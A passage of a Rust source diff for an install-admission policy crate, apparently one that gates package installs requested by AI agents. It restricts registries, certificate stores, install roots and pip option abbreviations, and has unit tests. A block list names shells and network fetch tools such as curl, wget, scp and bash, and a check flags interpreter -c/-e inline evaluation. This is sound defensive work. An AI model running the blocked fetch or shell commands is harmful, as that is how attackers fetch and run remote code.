InstructionSourceKind::IssueComment + ) +} + +fn normalized_source_uri(intent: &InstallIntent) -> Option { + intent + .source + .uri + .as_deref() + .and_then(normalize_https_source_uri) +} + +pub(crate) fn normalize_https_source_uri(uri: &str) -> Option { + let mut url = Url::parse(uri).ok()?; + if url.scheme() != "https" + || !url.username().is_empty() + || url.password().is_some() + || url.host_str().is_none() + { + return None; + } + url.set_query(None); + url.set_fragment(None); + Some(url.to_string()) +} + +pub(crate) fn canonical_registry_url(registry_url: &str) -> Option { + let url = Url::parse(registry_url).ok()?; + if url.scheme() != "https" + || url.host_str().is_none() + || !url.username().is_empty() + || url.password().is_some() + || url.query().is_some() + || url.fragment().is_some() + { + return None; + } + Some(url.to_string()) +} + +pub(crate) fn is_permanently_forbidden_executable(executable: &str) -> bool { + matches!( + executable.to_ascii_lowercase().as_str(), + "sh" | "bash" + | "zsh" + | "cmd" + | "powershell" + | "pwsh" + | "curl" + | "wget" + | "aria2c" + | "ftp" + | "scp" + | "npx" + | "pnpx" + | "bunx" + ) +} + +pub(crate) fn supported_executable(executable: &str) -> bool { + matches!( + executable, + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "uv" | "cargo" | "docker" | "podman" + ) +} + +fn supported_install_command(executable: &str, arguments: &[String]) -> bool { + match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + "pip" | "pip3" | "cargo" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + "docker" | "podman" => arguments.first().is_some_and(|argument| argument == "pull"), + _ => false, + } +} + +fn requests_inline_eval(executable: &str, arguments: &[String]) -> bool { + matches!( + executable.to_ascii_lowercase().as_str(), + "python" | "python3" | "node" | "ruby" | "perl" | "php" + ) && arguments + .iter() + .any(|argument| matches!(argument.as_str(), "-c" | "-e" | "--eval" | "--execute")) +} + +/// Locate the active top-level uv command without mistaking a reviewed global +/// option's separate value for a command token. Unknown option grammar remains +/// unsupported by the install policy; this helper only establishes the `run` +/// delegation boundary used for trust-evidence attribution. +pub(crate) fn uv_active_command_index(arguments: &[String]) -> Option { + const VALUE_OPTIONS: &[&str] = &[ + "--allow-insecure-host", + "--trusted-host", + "--cache-dir", + "--color", + "--config-file", + "--directory", + "--keyring-provider", + "--project", + ]; + + let mut index = 0; + while index < arguments.len() { + let argument = arguments[index].as_str(); + if !argument.starts_with('-') { + return Some(index); + } + + if VALUE_OPTIONS.contains(&argument) { + let value = arguments.get(index + 1)?; + if value.is_empty() || value.starts_with('-') { + return None; + } + index += 2; + continue; + } + + if VALUE_OPTIONS.iter().any(|option| { + argument + .strip_prefix(option) + .is_some_and(|suffix| suffix.starts_with('=') && suffix.len() > 1) + }) { + index += 1; + continue; + } + + index += 1; + } + + None +} + +/// Return the exclusive end of argv that is still owned by `uv run` before the +/// delegated child command/script begins. The reviewed value-option set mirrors +/// current uv-run CLI grammar needed to avoid treating option values as child +/// commands. Unknown flag spellings remain unsupported and are treated only as +/// flag tokens; the first positional token still establishes the delegation +/// boundary. An explicit `--` ends uv-owned argv immediately. +pub(crate) fn uv_run_owned_argument_end(arguments: &[String], run_index: usize) -> usize { + const VALUE_OPTIONS: &[&str] = &[ + "--allow-insecure-host", + "--trusted-host", + "--cache-dir", + "--color", + "--config-file", + "--config-setting", + "--config-settings", + "-C", + "--config-settings-package", + "--default-index", + "--directory", + "--env-file", + "--exclude-newer", + "--exclude-newer-package", + "--extra", + "--extra-index-url", + "--find-links", + "-f", + "--fork-strategy", + "--group", + "--index", + "--index-strategy", + "--index-url", + "-i", + "--keyring-provider", + "--link-mode", + "--no-binary-package", + "--no-build-isolation-package", + "--no-build-package", + "--no-editable-package", + "--no-extra", + "--no-group", + "--no-sources-package", + "--only-group", + "--package", + "--prerelease", + "--prerelease-package", + "--project", + "--python", + "-p", + "--python-platform", + "--refresh-package", + "--resolution", + "--torch-backend", + "--with", + "--with-editable", + "--with-requirements", + ]; + + let mut index = run_index + 1; + while index < arguments.len() { + let argument = arguments[index].as_str(); + if argument == "--" || !argument.starts_with('-') { + return index; + } + + if VALUE_OPTIONS.contains(&argument) { + let Some(value) = arguments.get(index + 1) else { + return index + 1; + }; + if value.is_empty() || value.starts_with('-') { + return index + 1; + } + index += 2; + continue; + } + + if VALUE_OPTIONS.iter().any(|option| { + let Some(suffix) = argument.strip_prefix(option) else { + return false; + }; + if is_short_cli_flag(option) { + !suffix.is_empty() + } else { + suffix.starts_with('=') && suffix.len() > 1 + } + }) { + index += 1; + continue; + } + + index += 1; + } + + arguments.len() +} + +fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool { + const FORBIDDEN_FLAGS: &[&str] = &[ + "--extra-index-url", + "--index-url", + "--index", + "--default-index", + "--trusted-host", + "--allow-insecure-host", + "--find-links", + "--registry", + "--registry-url", + "--userconfig", + "--globalconfig", + "--ca", + "--cafile", + "--cert", + "--client-cert", + "--strict-ssl", + "--git", + "--path", + "-i", + "-f", + ]; + + let trust_arguments = if executable == "uv" { + match uv_active_command_index(arguments) { + Some(run_index) if arguments[run_index] == "run" => { + &arguments[..uv_run_owned_argument_end(arguments, run_index)] + } + _ => arguments, + } + } else { + arguments + }; + + trust_arguments.iter().any(|argument| { + FORBIDDEN_FLAGS + .iter() + .any(|flag| matches_cli_flag(argument, flag)) + }) || (executable == "bun" + && arguments.iter().any(|argument| { + matches_cli_flag(argument, "--config") || matches_cli_flag(argument, "--trust") + })) + || (executable == "pnpm" + && arguments + .iter() + .any(|argument| argument.starts_with("--config."))) + || (executable == "uv" + && trust_arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--system-certs"))) +} + +fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { + let contains_flag = |flags: &[&str]| { + arguments + .iter() + .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) + }; + + match executable { + "npm" => { + contains_flag(&["-g", "--global", "--prefix", "--workspace", "-w"]) + || arguments.iter().any(|argument| { + matches!(argument.as_str(), "--workspaces" | "--workspaces=true") + }) + || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) + } + "yarn" => { + contains_flag(&[ + "-g", + "--global", + "--prefix", + "-W", + "--ignore-workspace-root-check", + ]) || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) + } + "pnpm" => { + contains_flag(&[ + "-g", + "--global", + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--workspace-root", + "-w", + "--recursive", + "-r", + "--include-workspace-root", + ]) || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) + } + "bun" => { + contains_flag(&["-g", "--global", "--prefix", "--cwd", "--filter", "-F"]) + || arguments + .iter() + .any(|argument| argument == "--location=global") + || arguments + .windows(2) + .any(|pair| pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global")) + } + "pip" | "pip3" => contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]), + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(pip_index).map(String::as_str) != Some("pip") + || arguments.get(pip_index + 1).map(String::as_str) != Some("install") + { + return false; + } + arguments[pip_index + 2..].iter().any(|argument| { + [ + "--user", "--target", "-t", "--root", "--prefix", "--system", "--python", "-p", + ] + .iter() + .any(|flag| matches_cli_flag(argument, flag)) + }) + } + "cargo" => contains_flag(&["--root", "--config", "--target-dir"]), + _ => false, + } +} + +fn matches_cli_flag(argument: &str, flag: &str) -> bool { + if argument == flag { + return true; + } + let Some(suffix) = argument.strip_prefix(flag) else { + return false; + }; + suffix.starts_with('=') || (is_short_cli_flag(flag) && !suffix.is_empty()) +} + +fn is_short_cli_flag(flag: &str) -> bool { + let bytes = flag.as_bytes(); + bytes.len() == 2 && bytes[0] == b'-' && bytes[1] != b'-' +} + +fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { + if !reason_codes.contains(&reason) { + reason_codes.push(reason); + } +} + +fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordinate) -> bool { + approved.ecosystem == artifact.ecosystem + && approved.name == artifact.name + && approved.version == artifact.version + && canonical_registry_url(&approved.registry_url) + == canonical_registry_url(&artifact.registry_url) + && approved.owner == artifact.owner + && approved.sha256 == artifact.sha256 +} + +pub(crate) fn valid_artifact_coordinate(artifact: &ArtifactCoordinate) -> bool { + valid_text_field(&artifact.ecosystem, MAX_ECOSYSTEM_BYTES) + && valid_text_field(&artifact.name, MAX_ARTIFACT_NAME_BYTES) + && valid_pinned_version(&artifact.version) + && canonical_registry_url(&artifact.registry_url).is_some() + && valid_text_field(&artifact.owner, MAX_OWNER_BYTES) + && is_sha256_hex(&artifact.sha256) + && valid_text_field(&artifact.artifact_argument, MAX_ARTIFACT_ARGUMENT_BYTES) +} + +pub(crate) fn valid_pinned_version(version: &str) -> bool { + if !valid_text_field(version, MAX_VERSION_BYTES) { + return false; + } + let lowercase = version.to_ascii_lowercase(); + if matches!( + lowercase.as_str(), + "latest" | "main" | "master" | "head" | "stable" | "next" + ) { + return false; + } + version + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'.' | b'-' | b'_' | b'+')) +} + +pub(crate) fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { + !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) +} + +pub(crate) fn auditable_identifier(label: &str, value: &str, maximum_bytes: usize) -> String { + if valid_text_field(value, maximum_bytes) { + value.to_string() + } else { + format!("{label}:sha256:{}", sha256_hex(value.as_bytes())) + } +} + +/// Return `true` when `value` is a lowercase hexadecimal SHA-256 digest. +pub fn is_sha256_hex(value: &str) -> bool { + value.len() == 64 + && value.as_bytes().iter().all(u8::is_ascii_hexdigit) + && value == value.to_ascii_lowercase() +} + +/// Hex-encode the SHA-256 digest of `input`. +pub fn sha256_hex(input: &[u8]) -> String { + let digest = ring::digest::digest(&ring::digest::SHA256, input); + let mut output = String::with_capacity(64); + for byte in digest.as_ref() { + use std::fmt::Write as _; + let _ = write!(&mut output, "{byte:02x}"); + } + output +} + +#[cfg(test)] +mod tests { + use super::is_install_root_selector_value; + + fn strings(values: &[&str]) -> Vec { + values.iter().map(|value| (*value).to_string()).collect() + } + + #[test] + fn install_root_selector_values_are_consumed_only_by_supported_install_grammars() { + let cases: [(&str, Vec<&str>, &[&str]); 8] = [ + ( + "npm", + vec!["install", "pkg"], + &["--prefix", "--workspace", "-w", "--location"], + ), + ( + "pnpm", + vec!["add", "pkg"], + &[ + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--location", + ], + ), + ("yarn", vec!["add", "pkg"], &["--prefix", "--location"]), + ( + "bun", + vec!["add", "pkg"], + &["--prefix", "--cwd", "--filter", "-F", "--location"], + ), + ( + "pip", + vec!["install", "pkg"], + &["--target", "-t", "--root", "--prefix"], + ), + ( + "pip3", + vec!["install", "pkg"], + &["--target", "-t", "--root", "--prefix"], + ), + ( + "uv", + vec!["pip", "install", "pkg"], + &["--target", "-t", "--root", "--prefix", "--python", "-p"], + ), + ( + "cargo", + vec!["install", "pkg"], + &["--root", "--config", "--target-dir"], + ), + ]; + + for (executable, prefix, flags) in cases { + for flag in flags { + let mut arguments = prefix.clone(); + arguments.extend([flag, "selector-value"]); + let arguments = strings(&arguments); + let value_index = arguments.len() - 1; + assert!( + is_install_root_selector_value(executable, &arguments, value_index), + "{executable} {flag} must consume its separate selector value" + ); + } + } + } + + #[test] + fn install_root_selector_value_helper_does_not_hide_unknown_or_wrong_grammar_operands() { + let unknown = strings(&["install", "pkg", "--cache-dir", "attacker"]); + assert!(!is_install_root_selector_value( + "pip", + &unknown, + unknown.len() - 1 + )); + + let wrong_command = strings(&["download", "pkg", "--target", "attacker"]); + assert!(!is_install_root_selector_value( + "pip", + &wrong_command, + wrong_command.len() - 1 + )); + + let attached = strings(&["install", "pkg", "--target=/tmp/escape", "attacker"]); + assert!(!is_install_root_selector_value( + "pip", + &attached, + attached.len() - 1 + )); + + let first = strings(&["selector-value"]); + assert!(!is_install_root_selector_value("pip", &first, 0)); + } +} diff --git a/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs b/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs new file mode 100644 index 00000000..43195012 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_build_directory_retention_authority.rs @@ -0,0 +1,65 @@ +use crate::InstallIntent; + +/// Return whether direct pip asks to retain build directories after the +/// installer operation rather than using pip's normal cleanup behavior. +/// +/// Wardnet classifies only the caller-selected argv authority. Effective +/// temporary-directory placement, filesystem isolation, and final cleanup stay +/// owned by the quarantine runtime. +pub(crate) fn requests_unapproved_pypi_build_directory_retention(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(1) + .any(|argument| matches_pip_no_clean_option(argument)) +} + +/// Direct pip uses Python optparse long-option abbreviation semantics. On the +/// pinned option surface `--no-c` is ambiguous, while `--no-cl` uniquely +/// selects canonical `--no-clean`. +fn matches_pip_no_clean_option(argument: &str) -> bool { + argument.len() >= "--no-cl".len() && "--no-clean".starts_with(argument) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_no_clean_option; + + #[test] + fn no_clean_matcher_is_bounded_to_verified_unambiguous_prefixes() { + for argument in ["--no-cl", "--no-cle", "--no-clea", "--no-clean"] { + assert!( + matches_pip_no_clean_option(argument), + "verified direct-pip no-clean spelling must be classified: {argument}" + ); + } + + for argument in [ + "--no-c", + "--no-co", + "--no-clean=false", + "--no-cleaner", + "--no-input", + "--no-deps", + ] { + assert!( + !matches_pip_no_clean_option(argument), + "ambiguous, assigned, or unrelated argv must not gain no-clean semantics: {argument}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs new file mode 100644 index 00000000..14d18b7d --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs @@ -0,0 +1,69 @@ +use crate::{InstallIntent, policy::uv_active_command_index}; + +/// Return whether a PyPI install asks the package manager to place cache data +/// in a caller-selected directory outside the reviewed artifact mutation contract. +pub(crate) fn requests_unapproved_pypi_cache_directory_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" => { + arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .skip(1) + .any(|argument| matches_pip_cache_directory_option(argument)) + } + "uv" => { + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + arguments + .get(command_index) + .is_some_and(|argument| argument == "pip") + && arguments + .get(command_index + 1) + .is_some_and(|argument| argument == "install") + && arguments[..command_index] + .iter() + .any(|argument| matches_uv_cache_directory_option(argument)) + } + _ => false, + } +} + +/// Match only the canonical pip General Option spelling. Pre-command option +/// normalization intentionally does not inherit install-parser abbreviations +/// without separate upstream evidence for that parser phase. +pub(crate) fn matches_canonical_pip_cache_directory_option(argument: &str) -> bool { + argument.split_once('=').map_or(argument, |(name, _)| name) == "--cache-dir" +} + +/// pip uses Python optparse, which accepts an unambiguous long-option prefix. +/// `--ca` is the shortest prefix of `--cache-dir` that does not collide with +/// another current `pip install` long option at the reviewed upstream commit. +fn matches_pip_cache_directory_option(argument: &str) -> bool { + let option = argument.split_once('=').map_or(argument, |(name, _)| name); + matches!( + option, + "--ca" + | "--cac" + | "--cach" + | "--cache" + | "--cache-" + | "--cache-d" + | "--cache-di" + | "--cache-dir" + ) +} + +fn matches_uv_cache_directory_option(argument: &str) -> bool { + argument == "--cache-dir" + || argument + .strip_prefix("--cache-dir=") + .is_some_and(|value| !value.is_empty()) +} diff --git a/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs new file mode 100644 index 00000000..d3fd3388 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_certificate_store_authority.rs @@ -0,0 +1,121 @@ +use crate::InstallIntent; + +const PIP_CERTIFICATE_STORE_OPTION: &str = "--cert"; +const SHORTEST_UNAMBIGUOUS_PREFIX: &str = "--ce"; + +/// Return a policy-evaluation copy in which reviewed separate-value +/// certificate-store abbreviations are represented as attached options. +/// +/// This prevents the certificate path from masquerading as a package operand +/// without changing the caller-submitted argv retained for audit hashing. Only +/// direct `pip`/`pip3 install` grammar and the already-verified `--ce`/`--cer` +/// abbreviation language are normalized; malformed or unknown grammar remains +/// untouched and therefore fail closed. +pub(crate) fn normalize_reviewed_pypi_certificate_store_values( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + let arguments = &intent.argv[1..]; + if !matches!(executable, "pip" | "pip3") + || !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return None; + } + + let mut normalized = intent.clone(); + let mut changed = false; + let mut argv = Vec::with_capacity(intent.argv.len()); + argv.extend(intent.argv.iter().take(2).cloned()); + + let mut index = 2; + while index < intent.argv.len() { + let argument = intent.argv[index].as_str(); + if matches_pip_certificate_store_abbreviation(argument) && !argument.contains('=') { + let value = intent.argv.get(index + 1)?; + if value.is_empty() || value.starts_with('-') { + return None; + } + argv.push(format!("{argument}={value}")); + changed = true; + index += 2; + continue; + } + + argv.push(intent.argv[index].clone()); + index += 1; + } + + if !changed { + return None; + } + normalized.argv = argv; + Some(normalized) +} + +/// Return whether a direct pip install selects a caller-controlled certificate +/// store through an accepted long-option abbreviation not covered by the +/// generic exact-option guard. +pub(crate) fn requests_unapproved_pypi_certificate_store_abbreviation( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + matches!(executable, "pip" | "pip3") + && arguments + .first() + .is_some_and(|argument| argument == "install") + && arguments + .iter() + .any(|argument| matches_pip_certificate_store_abbreviation(argument)) +} + +/// pip's optparse-compatible parser accepts `--ce` and `--cer` for `--cert`. +/// `--c` remains ambiguous on the reviewed option surface, while the full +/// `--cert` spelling stays owned by the generic exact-option trust guard. +pub(crate) fn matches_pip_certificate_store_abbreviation(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= SHORTEST_UNAMBIGUOUS_PREFIX.len() + && option != PIP_CERTIFICATE_STORE_OPTION + && PIP_CERTIFICATE_STORE_OPTION.starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_certificate_store_abbreviation; + + #[test] + fn pip_certificate_store_abbreviations_are_bounded_to_verified_language() { + for argument in [ + "--ce", + "--cer", + "--ce=/tmp/alternate.pem", + "--cer=/tmp/alternate.pem", + ] { + assert!( + matches_pip_certificate_store_abbreviation(argument), + "accepted pip certificate-store abbreviation must be classified: {argument}" + ); + } + + for argument in [ + "--c", + "--cert", + "--certificate", + "--client-cert", + "--cache-dir", + ] { + assert!( + !matches_pip_certificate_store_abbreviation(argument), + "ambiguous, full, or unrelated option must not be classified as a certificate-store abbreviation: {argument}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs new file mode 100644 index 00000000..c5fdb43b --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_client_certificate_authority.rs @@ -0,0 +1,79 @@ +use crate::InstallIntent; + +const PIP_CLIENT_CERT_OPTION: &str = "--client-cert"; +const SHORTEST_UNAMBIGUOUS_PREFIX: &str = "--cl"; + +/// Return whether a direct pip install selects caller-controlled TLS client +/// credentials through pip's optparse-compatible long-option grammar. +/// +/// pip parses General Options both before command selection and again on the +/// selected command's argv. Wardnet therefore classifies the reviewed +/// `--client-cert` language on either side of the `install` token instead of +/// treating pre-command placement as unrelated command syntax. +pub(crate) fn requests_unapproved_pypi_client_certificate_authority( + intent: &InstallIntent, +) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + let Some(install_index) = arguments.iter().position(|argument| argument == "install") else { + return false; + }; + + arguments[..install_index] + .iter() + .chain(arguments[install_index + 1..].iter()) + .any(|argument| matches_pip_client_certificate_option(argument)) +} + +/// Match only the pinned pip parser language for `--client-cert`: the exact +/// option and its verified unambiguous prefixes beginning at `--cl`. +pub(crate) fn matches_pip_client_certificate_option(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= SHORTEST_UNAMBIGUOUS_PREFIX.len() && PIP_CLIENT_CERT_OPTION.starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_client_certificate_option; + + #[test] + fn pip_client_certificate_prefix_matcher_is_bounded_to_verified_language() { + for argument in [ + "--cl", + "--cli", + "--client", + "--client-", + "--client-c", + "--client-cert", + "--cl=/tmp/client.pem", + "--client-cert=/tmp/client.pem", + ] { + assert!( + matches_pip_client_certificate_option(argument), + "accepted pip client-certificate prefix must be classified: {argument}" + ); + } + + for argument in [ + "--c", + "--cert", + "--client-certificate", + "--client-cert-extra", + "--clock", + ] { + assert!( + !matches_pip_client_certificate_option(argument), + "ambiguous or unrelated option must not be classified: {argument}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_constraint_authority.rs b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs new file mode 100644 index 00000000..37f9784e --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_constraint_authority.rs @@ -0,0 +1,113 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether a direct pip-compatible install imports dependency or build +/// selection from a constraint document that is not represented by the +/// reviewed artifact coordinates. +pub(crate) fn requests_unapproved_pypi_constraint_authority(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments.iter().any(|argument| { + matches_short_value_option(argument, "-c") + || matches_pip_long_value_option(argument, "--constraint", "--cons") + || matches_pip_long_value_option(argument, "--build-constraint", "--build-c") + }) + } + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments.iter().skip(pip_index + 2).any(|argument| { + matches_short_value_option(argument, "-c") + || matches_long_value_option(argument, "--constraint") + || matches_long_value_option(argument, "--constraints") + || matches_short_value_option(argument, "-b") + || matches_long_value_option(argument, "--build-constraint") + || matches_long_value_option(argument, "--build-constraints") + }) + } + _ => false, + } +} + +/// Match pip's documented option and the shortest unambiguous prefixes accepted +/// by its optparse-compatible long-option parser for this security authority. +fn matches_pip_long_value_option( + argument: &str, + canonical: &str, + shortest_accepted_prefix: &str, +) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option == canonical + || (option.len() >= shortest_accepted_prefix.len() && canonical.starts_with(option)) +} + +fn matches_long_value_option(argument: &str, option: &str) -> bool { + argument == option + || argument + .strip_prefix(option) + .is_some_and(|suffix| suffix.starts_with('=')) +} + +fn matches_short_value_option(argument: &str, option: &str) -> bool { + argument == option + || argument + .strip_prefix(option) + .is_some_and(|suffix| !suffix.is_empty()) +} + +#[cfg(test)] +mod tests { + use super::matches_pip_long_value_option; + + #[test] + fn pip_constraint_prefix_matcher_starts_at_verified_unambiguous_prefix() { + for argument in [ + "--cons", + "--const", + "--constraint", + "--cons=https://x.invalid/c.txt", + "--build-c", + "--build-const=https://x.invalid/b.txt", + "--build-constraint", + ] { + let matched = if argument.starts_with("--build-") { + matches_pip_long_value_option(argument, "--build-constraint", "--build-c") + } else { + matches_pip_long_value_option(argument, "--constraint", "--cons") + }; + assert!( + matched, + "accepted pip constraint prefix must be classified: {argument}" + ); + } + + for argument in ["--con", "--build-", "--config-settings", "--constraints"] { + assert!( + !matches_pip_long_value_option(argument, "--constraint", "--cons") + && !matches_pip_long_value_option(argument, "--build-constraint", "--build-c"), + "ambiguous or unrelated pip option must not be classified as a constraint: {argument}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs b/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs new file mode 100644 index 00000000..7303d189 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_dependency_group_authority.rs @@ -0,0 +1,74 @@ +use crate::InstallIntent; + +/// Return whether direct pip-family install argv imports requirements from a +/// dependency group that is not represented by the reviewed artifact set. +pub(crate) fn requests_unapproved_pip_dependency_group(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "pip" | "pip3") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .any(|argument| requests_direct_pip_dependency_group(argument)) +} + +/// Direct pip uses Python's optparse-compatible long-option grammar. Pinned +/// parser verification establishes `--gro` as the shortest unambiguous prefix +/// of `--group`; shorter `--g` remains ambiguous and must not be guessed. +fn requests_direct_pip_dependency_group(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + option.len() >= "--gro".len() && "--group".starts_with(option) +} + +#[cfg(test)] +mod tests { + use super::requests_direct_pip_dependency_group; + + #[test] + fn direct_pip_dependency_group_prefix_is_bounded_to_verified_language() { + for option in [ + "--gro", + "--gro=developer-tools", + "--grou", + "--grou=developer-tools", + "--group", + "--group=developer-tools", + ] { + assert!( + requests_direct_pip_dependency_group(option), + "verified direct-pip dependency-group spelling must be classified: {option}" + ); + } + + for option in [ + "--g", + "--g=developer-tools", + "--gr", + "--gr=developer-tools", + "--groups", + "--groups=developer-tools", + "--grouped", + "--grouped=developer-tools", + "--config-settings=group=developer-tools", + ] { + assert!( + !requests_direct_pip_dependency_group(option), + "ambiguous or unrelated spelling must not be invented as pip --group authority: {option}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs new file mode 100644 index 00000000..80649702 --- /dev/null +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -0,0 +1,229 @@ +use crate::InstallIntent; +use crate::pypi_cache_directory_authority::matches_canonical_pip_cache_directory_option; +use crate::pypi_certificate_store_authority::matches_pip_certificate_store_abbreviation; +use crate::pypi_client_certificate_authority::matches_pip_client_certificate_option; +use crate::pypi_log_output_authority::matches_pip_log_option; +use crate::pypi_proxy_authority::{ + is_attached_direct_pip_proxy_selector, is_direct_pip_proxy_value_selector, +}; +use crate::pypi_python_interpreter_authority::matches_pip_python_interpreter_option; +use crate::pypi_registry_authority::{ + is_reviewed_pip_no_index_selector, is_reviewed_pip_registry_value_selector, +}; + +/// Canonicalize only reviewed direct-pip General Options for policy evaluation. +/// +/// pip parses General Options before command selection. Wardnet preserves the +/// submitted argv as audit evidence, while this bounded parser seam moves only +/// already-reviewed denied authority selectors behind `install` so the normal +/// command and artifact policy can evaluate their values without inventing +/// package operands. Unknown pre-command grammar remains untouched and fails +/// closed through the ordinary command path. +pub(crate) fn normalize_reviewed_direct_pip_global_options( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + if !matches!(executable, "pip" | "pip3") { + return None; + } + + let arguments = &intent.argv[1..]; + if arguments + .first() + .is_some_and(|argument| argument == "install") + { + return None; + } + + let mut index = 0; + let mut reviewed_global_arguments = Vec::new(); + while index < arguments.len() { + let argument = arguments[index].as_str(); + if argument == "install" { + if reviewed_global_arguments.is_empty() { + return None; + } + + let mut normalized = intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len()); + argv.push(executable.to_string()); + argv.push("install".to_string()); + argv.extend(reviewed_global_arguments); + argv.extend(arguments[index + 1..].iter().cloned()); + normalized.argv = argv; + return Some(normalized); + } + + if is_direct_pip_proxy_value_selector(argument) { + push_separate_value_argument(arguments, &mut reviewed_global_arguments, &mut index)?; + continue; + } + + if is_attached_direct_pip_proxy_selector(argument) { + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + continue; + } + + if is_reviewed_pip_registry_value_selector(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + if is_reviewed_pip_no_index_selector(argument) { + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + continue; + } + + if matches_pip_certificate_store_abbreviation(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + push_separate_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + + if matches_pip_client_certificate_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + 